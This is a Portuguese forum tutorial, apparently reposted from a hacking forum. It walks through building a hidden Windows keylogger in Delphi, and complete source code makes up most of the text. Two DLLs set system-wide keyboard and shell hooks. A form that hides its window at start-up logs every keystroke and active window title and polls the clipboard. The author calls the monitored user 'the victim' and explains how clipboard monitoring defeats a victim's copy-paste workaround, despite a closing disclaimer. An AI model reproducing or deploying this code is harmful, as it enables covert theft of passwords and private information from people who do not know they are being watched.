INTRODUÇÃONeste tutorial vocês irão aprender a criar um keylogger utilizando o método de capturas com DLL's. Ele além de ser mais útil e funcional, é eficiente e LEVE.
Para deixar avisado que o tutorial não é 100% meu, eu apenas adaptei os códigos e fiz uma introdução, explicação e conclusão !
As DLL's e funções deste tutorial não precisam ser utilizadas apenas em um programa, pois elas podem ser uteis também em outras ocasiões !
Para começar, criem uma pasta para o keylogger e salvem todas as DLL's nela para não haver confusão depois !
Neste artigo não irei mensionar nenhum método para deixar indetectável ou como mandar os logs por email, apenas ensino o método para fazer o keylogger !
CRIANDO UMA DLLÉ essencial que todos vocês saibam como criar uma DLL antes de começar a ler esta matéria, portanto irei ensiná-los.
Vá em:
File --> New --> Other --> DLL Wizard
DLL PARA CAPTURA TECLASCriem uma DLL e dentro dela insiram o seguinte código:
- Citação :
- library Dll;
uses Windows,
Messages;
const
TECLAS = WM_USER + $500;
var
KLTeclado : HHook;
ArquivoDesp : THandle;
Looker : ^Integer;
function CallBackDelHook( Code : Integer;
wParam : WPARAM;
lParam : LPARAM
) : LRESULT; stdcall;
begin
if code=HC_ACTION then
begin
ArquivoDesp:=OpenFileMapping(FILE_MAP_WRITE,False,'rept');
if ArquivoDesp<>0 then
begin
Looker:=MapViewOfFile(ArquivoDesp,FILE_MAP_WRITE,0,0,0);
PostMessage(Looker^,TECLAS,wParam,lParam);
UnmapViewOfFile(Looker);
CloseHandle(ArquivoDesp);
end;
end;
Result := CallNextHookEx(KLTeclado, Code, wParam, lParam)
end;
procedure HookOff; stdcall;
begin
UnhookWindowsHookEx(KLTeclado);
end;
procedure HookOn; stdcall;
begin
KLTeclado:=SetWindowsHookEx(WH_KEYBOARD, @CallBackDelHook, HInstance , 0);
end;
exports
HookOn,
HookOff;
begin
end.
Feito isto salve o projeto como DLL_K
Então vá em Project --> Compile DLL_K
Na pasta do keylogger deverá aparecer o arquivo "DLL_K.dll"
DLL PARA PEGAR JANELA ATIVAPara melhorarmos a complexidade de nosso keylogger, deveremos então implementar a função de capturar a janela ativa. Com certeza vocês já devem ter visto no Ardamax que quando envia os logs aparece a janela em que foi digitado !
Então crie outro projeto, e outra DLL !
Agora insira o seguinte código:
- Citação :
library Dll;
uses Windows,
Messages;
const
CM_CHIVATO = WM_USER + $900;
var
HookDeShell : HHook;
FicheroM : THandle;
PReceptor : ^Integer;
function CallBackDelHook( Code : Integer;
wParam : WPARAM;
lParam : LPARAM
) : LRESULT; stdcall;
begin
if code >=0 then
begin
{Verifica se existe a pasta}
{Se o arquivo procurado existir então...}
FicheroM:=OpenFileMapping(FILE_MAP_READ,False,'ElReceptor');
if FicheroM<>0 then
begin
PReceptor:=MapViewOfFile(FicheroM,FILE_MAP_READ,0,0,0);
PostMessage(PReceptor^,CM_CHIVATO,wParam,Code);
UnmapViewOfFile(PReceptor);
CloseHandle(FicheroM);
end;
end;
Result := CallNextHookEx(HookDeShell, Code, wParam, lParam)
end;
procedure HookOn; stdcall;
begin
HookDeShell:=SetWindowsHookEx(WH_SHELL, @CallBackDelHook, HInstance , 0);
end;
procedure HookOff; stdcall;
begin
UnhookWindowsHookEx(HookDeShell);
end;
exports
HookOn,
HookOff;
begin
end.
Salve o projeto como DLL_J
Vá novamente em Project --> Compile DLL_J
CRIANDO INTERFACEAgora chegamos a parte em que iremos por em prática as DLL's criadas anteriormente ! Esta etapa de nosso keylogger pode ser dita como uma das mais importantes. Sem ela as DLL's seriam inúteis praticamente.
Para isto iremos criar uma aplicação normal (File --> New --> Application)
Insira os seguintes componentes e as quantidades:
2 Timers - Capturar teclas, janelas e estado (Capslock etc)
3 Edits - Responsáveis para saber estado de CapsLock, NumLock e ScrollLock
2 Memos - Capturar as teclas
Embaixo do Uses identifiquem o Type e a Const:
- Citação :
const
NombreDLL_K = 'Dll_K.dll';
CM_MANDA_TECLA = WM_USER + $500;
NombreDLL_J = 'Dll_J.dll';
CM_CHIVATO = WM_USER + $900;
type
THookTeclado=procedure; stdcall;
Agora em PrivateDeclarations insiram:
- Citação :
- FicheroM_K,FicheroM_J : THandle;
PReceptor_K,PReceptor_J : ^Integer;
HandleDLL_K, HandleDLL_J : THandle;
HookOn_K,HookOff_K,HookOn_J,HookOff_J: THookTeclado;
procedure LlegaDelHook_K(var message: TMessage); message CM_MANDA_TECLA;
procedure LlegaDelHook_J(var message: TMessage); message CM_CHIVATO;
Declarem nas Variáveis Globais:
- Citação :
TeclaCase,Check: integer;
Very: String;
Definam as seguintes funções:
- Citação :
- function GetKeybLayout: string;
var
buffer: array[0..KL_NAMELENGTH-1] of char;
begin
if getkeyboardlayoutname(buffer) then begin
setstring(result, buffer, strlen(buffer));
end else
raise exception.create('Falha ao capturar layout');
end;
Function UpperCase(St:string):string;
var a:integer;
begin
for a:=1 to Length(St) do
if(St[a]in['a'..'z'])or(St[a]in['à'..'ý'])then Dec(St[a],32);
Result:=St;
end;
function LowerCase(St:string):string;
var a:integer;
begin
for a:=1 to Length(St) do
if(St[a]in['A'..'Z'])or(St[a]in['À'..'Ý'])then Inc(St[a],32);
Result:=St;
end;
Agora vamos declarar a procedure que irá fazer a ligação entre a aplicação e a DLL_K, a responsável por pegar as teclas:
- Citação :
- procedure TForm1.LlegaDelHook_K(var message: TMessage);
var
NombreTecla : array[0..100] of char;
Accion : string;
begin
GetKeyNameText(Message.LParam,@NombreTecla,100);
if ((Message.lParam shr 31) and 1)=1 then
begin
Accion:='Soltada';
if NombreTecla = 'Ctrl' then
begin
Check:= 2;
end;
if TeclaCase = 0 then
Memo1.Lines.Text:=Memo1.Lines.Text + '[/' + LowerCase((String(NombreTecla)) + ']' );
if TeclaCase = 1 then
Memo1.Lines.Text:=Memo1.Lines.Text + '[/' + (String(NombreTecla) + ']' );
end
else
begin
if ((Message.lParam shr 30) and 1)=1 then
begin
Accion:='Repetida';
end
else
begin
Accion:='Pulsada';
end;
end;
if (NombreTecla = 'Ctrl') then
begin
if Check = 2 then
Check:= 0
else
Check:= 1;
end;
if (Check = 1) and (NombreTecla = 'C') then
begin
Check:= 0;
Memo2.Clear;
Memo2.PasteFromClipboard;
Memo1.Lines.Add('<CTRL+C>[ ' + Memo2.Text+ ' ]');
Memo1.Lines.Add('');
Exit;
end;
if (Check=1) and (NombreTecla = 'V') then
begin
Check:= 0;
Memo2.Clear;
Memo2.PasteFromClipboard;
Memo1.Lines.Add('<CTRL+V>[ ' + Memo2.Text+ ' ]');
Memo1.Lines.Add('');
Exit;
end;
if (Check=1) and (NombreTecla = 'X') then
begin
Check:= 0;
Memo2.Clear;
Memo2.PasteFromClipboard;
Memo1.Lines.Add('<CTRL+X>[ ' + Memo2.Text+ ' ]');
Memo1.Lines.Add('');
Exit;
end;
if (Check=1) and (NombreTecla = 'Z') then
begin
Check:= 0;
Memo1.Lines.Add('<CTRL+Z>');
Memo1.Lines.Add('');
Exit;
end;
if Accion <> 'Soltada' then
Begin
if Accion <> 'Repetida' then
begin
if (NombreTecla ='Num Lock') or
(NombreTecla ='Scroll Lock') or
(NombreTecla ='Caps Lock') or
(NombreTecla ='Delete') or
(NombreTecla ='End') or
(NombreTecla ='Page Down') or
(NombreTecla ='Insert') or
(NombreTecla ='Home') or
(NombreTecla ='Page Up') or
(NombreTecla ='Pause') or
(NombreTecla ='Ctrl') or
(NombreTecla ='Shift') or
(NombreTecla ='Alt') or
(NombreTecla ='AGUDO') or
(NombreTecla ='TIL') or
(NombreTecla ='Left Windows') or
(NombreTecla ='Application') or
(NombreTecla ='Right Windows') or
(NombreTecla ='CtrlRight Alt') or
(NombreTecla ='Up') or
(NombreTecla ='Down') or
(NombreTecla ='Right') or
(NombreTecla ='Left') or
(NombreTecla ='Num 0') or
(NombreTecla ='Num 1') or
(NombreTecla ='Num 2') or
(NombreTecla ='Num 3') or
(NombreTecla ='Num 4') or
(NombreTecla ='Num 5') or
(NombreTecla ='Num 6') or
(NombreTecla ='Num 7') or
(NombreTecla ='Num 8') or
(NombreTecla ='Num 9') or
(NombreTecla ='Num /') or
(NombreTecla ='Num *') or
(NombreTecla ='Num -') or
(NombreTecla ='Num +') or
(NombreTecla ='Num Enter') or
(NombreTecla ='Num Del') or
(NombreTecla ='Space') or
(NombreTecla ='Enter') or
(NombreTecla ='F1') or
(NombreTecla ='F2') or
(NombreTecla ='F3') or
(NombreTecla ='F4') or
(NombreTecla ='F5') or
(NombreTecla ='F6') or
(NombreTecla ='F7') or
(NombreTecla ='F8') or
(NombreTecla ='F9') or
(NombreTecla ='F10') or
(NombreTecla ='F11') or
(NombreTecla ='F12') or
(NombreTecla ='F15') or
(NombreTecla ='Esc') or
(NombreTecla ='Tab')
Then
Memo1.Lines.Text:=Memo1.Lines.Text + '[' +(String(NombreTecla) + ']' )
else
if TeclaCase = 0 then
Memo1.Lines.Text:=Memo1.Lines.Text +LowerCase((String(NombreTecla)))
else
Memo1.Lines.Text:=Memo1.Lines.Text +(String(NombreTecla));
end;
end;
end;
No evento OnCreate do formulário:
- Citação :
- procedure TForm1.FormCreate(Sender: TObject);
begin
Application.ShowMainForm:= False;
Memo1.Lines.Add('Layout Do Teclado: [' + GetKeybLayout +']');
Memo1.Lines.Add('');
Memo2.PasteFromClipboard;
Memo1.Lines.Add('Clipboard[ ' + Memo2.Text+ ' ]');
Memo1.ReadOnly:=TRUE;
HandleDLL_K:=LoadLibrary( PChar(ExtractFilePath(Application.Exename)+
NombreDLL_K ) );
HandleDLL_J:=LoadLibrary( PChar(ExtractFilePath(Application.Exename)+
NombreDLL_J ) );
if (HandleDLL_K = 0) or (HandleDLL_J = 0) then raise Exception.Create('Não foi possivel carregar a DLL');
@HookOn_K :=GetProcAddress(HandleDLL_K, 'HookOn');
@HookOff_K:=GetProcAddress(HandleDLL_K, 'HookOff');
@HookOn_J :=GetProcAddress(HandleDLL_J, 'HookOn');
@HookOff_J:=GetProcAddress(HandleDLL_J, 'HookOff');
IF not assigned(HookOn_k) or
not assigned(HookOff_k) or
not assigned(HookON_J)or
not assigned(HookOff_J) then
raise Exception.Create('Não foi possivel encontrar as funções da DLL');
FicheroM_K:=CreateFileMapping(0,nil,PAGE_READWRITE,0, SizeOf(Integer),
'rept');
FicheroM_J:=CreateFileMapping(0,nil,PAGE_READWRITE,0,SizeOf(Integer),
'rept');
if (FicheroM_K =0) or (FicheroM_J =0) then
raise Exception.Create( 'Error al crear el fichero'+
'/Error while create file');
PReceptor_K:=MapViewOfFile(FicheroM_K,FILE_MAP_WRITE,0,0,0);
PReceptor_J:=MapViewOfFile(FicheroM_J,FILE_MAP_WRITE,0,0,0);
PReceptor_K^:=Handle;
PReceptor_J^:=Handle;
HookOn_K;
HookOn_J;
end;
Agora iremos definir a Procedure LlegaDelHook que irá verificar a janela que estiver ativa no momento.
- Citação :
- procedure TForm1.LlegaDelHook_J(var message: TMessage);
function PillaTituloVentana(Mango:integer):string;
var
Titulo : string;
begin
Titulo:=StringOfChar(' ',200);
GetWindowText( Message.WParam,
PChar(Titulo),200);
Result:=Titulo;
end;
var
sTemp : string;
begin
sTemp:='Nada';
case message.LParam of
HSHELL_TASKMAN:
sTemp:='Barra de Tarefas Ativada';
HSHELL_WINDOWACTIVATED:
sTemp:= '------ Janela: '+ PillaTituloVentana(Message.wParam);
end;
if sTemp<>'Nada' then
begin
Memo1.Lines.Add(' ');
Memo1.Lines.Add( sTemp );
Memo1.Lines.Add('');
end;
end;
Agora coloquem este código no evento OnDestroy do formulario:
- Citação :
- procedure TForm1.FormDestroy(Sender: TObject);
begin
if (Assigned(HookOff_K)) or (Assigned(HookOff_J)) then
HookOff_K;
HookOff_J;
if (HandleDLL_K<>0) or (HandleDLL_J<>0) then
FreeLibrary(HandleDLL_K);
FreeLibrary(HandleDLL_J);
if (FicheroM_K<>0)or (FicheroM_J<>0) then
begin
UnmapViewOfFile(PReceptor_K);
CloseHandle(FicheroM_K);
UnmapViewOfFile(PReceptor_J);
CloseHandle(FicheroM_J);
end;
end;
Modifiquem o intervalo do Timer1 para 100 e insiram o código:
- Citação :
- Very:= Memo2.Text;
Memo2.Clear;
Memo2.PasteFromClipboard;
if Very <> Memo2.Text then
Memo1.Lines.Add('Clipboard[ ' + Memo2.Text+ ' ]');
Agora no Timer2 modifiquem também o intervalo para 100 e insiram o código:
- Citação :
- If getkeystate(vk_numlock) = 1 then
Edit1.Text:= 'Num Lock On';
If getkeystate(vk_numlock) = 0 then
Edit1.Text:= 'Num Lock Off';
If getkeystate(vk_scroll) = 1 then
Edit2.Text:= 'Scroll Lock On';
If getkeystate(vk_scroll) = 0 then
Edit2.Text:= 'Scroll Lock Off';
If getkeystate(vk_CAPITAL) = 1 then
begin
Edit3.Text:= 'Caps Lock On';
TeclaCase:= 1;
end;
If getkeystate(vk_CAPITAL) = 0 then
begin
Edit3.Text:= 'Caps Lock Off';
TeclaCase:= 0;
end;
No evento OnChange do Edit1 coloquem o código:
- Citação :
Memo1.Lines.Add(Edit1.Text);
Memo1.Lines.Add('');
No evento OnChange do Edit2 insiram o código:
- Citação :
- Memo1.Lines.Add(Edit2.Text);
Memo1.Lines.Add('');
No evento OnChange do Edit3 insiram o código:
- Citação :
- Memo1.Lines.Add(Edit3.Text);
Memo1.Lines.Add('');
Pronto, nosso Keylogger está pronto ! Apartir dai vocês podem implementar ou remover funções que não gostaram ou que gostariam que houvesse !
DICA 1:
Se você acabou o keylogger irá notar que no Memo1 os logs chegaram mais ou menos assim:
[Num Lock][/Num Lock]
Num Lock Off
[Caps Lock][/Caps Lock]
Caps Lock Off
l[/e]g[/g]a[/a]l[/l]backspace[/backspace][Ctrl][/ctrl]
Então, a intenção desta função era fazer um "criador de macros" que seria baseado nos logs do cara, para facilitar a vida !
Para remover este método, basta apagar as seguintes linhas de código da procedure: LlegaDelHook_K , responsável por estabelecer a ligação entre a DLL de pegar as teclas :
- Citação :
if TeclaCase = 0 then
Memo1.Lines.Text:=Memo1.Lines.Text + '[/' + LowerCase((String(NombreTecla)) + ']' );
if TeclaCase = 1 then
Memo1.Lines.Text:=Memo1.Lines.Text + '[/' + (String(NombreTecla) + ']' );
Se você quiser testar em si mesmo, remova a linha do evento OnFormCreate:
- Citação :
- Application.ShowMainForm:= False;
EXPLICAÇÕES O método de criação de keylogger utilizando DLL's é um dos mais eficientes, pois através delas é possível capturar diretamente o que é digitado no Windows sendo assim muito eficiente.
Nosso form no evento OnCreate irá chamar as DLL's e com o processo HookOn irá liga-las ao formulário, então recebendo os dados, no nosso caso as teclas digitadas no Windows. Com as Procedures LlegaDelHook_J e LlegaDelHook_H são os dados são há a troca de informações, das teclas pressionadas e das janelas ativas, depois escritas no Memo1.
A função "GetKeybLayout" serve para descobrir o padrão de teclado da vítima, pois as DLL's s[p capturam o código da tecla precionada e não a tecla em si própria, quem faz a função de converção é a Procedure LlegaDelHook_K então os teclados utilizados se fossem diferentes seria uma confusão !
Outra possibilidade era se a vítima utilizasse o método de CTRL C e CTRL V, pois então poderia burlar nosso keylogger... PORÉM o Timer 2 está responsável por monitorar o ClipBoard, então não iria apenas aparecer "[CTRL] c " e sim o que estivesse no ClipBoard da vítima
Utilizamos os Edits 1 , 2 e 3 para podermos saber o estado em que as teclas foram digitadas, para não causar muita confusão e "Emice" no Memo 1 rsrsrs.
Desta maneira fica um pouco mais facil e mais organizado de capturarmos os logs.
CONCLUSÃOApós lermos esta matéria podemos entender o funcionamento de DLL's, como trocar dados entre Formulário/DLL e também como criar uma DLL hehe.
O keylogger criado no tutorial de forma alguma incentiva o uso deste programa sobre alguma outra pessoa. Ele serve para entender o funcionamento de DLL's e troca de dados entre ela e a aplicação.
Desta vez não ensinei a enviar os logs pelo email e nem a fazer o programa inicializar com o Windows !
Isto pode ser talvez para outro tutorial.
Então é isto pessoal, espero que tenham gostado deste tutorial e que ele seja útil para todos !
Se alguém tiver alguma dúvida é só postar que eu tento resolver, caso contrário nosso fórum não é só formado por mim ! rsrsrs
postado originalmente em forum-hacker apenas modificado por mim
si gosto da tanks si nao faz melhor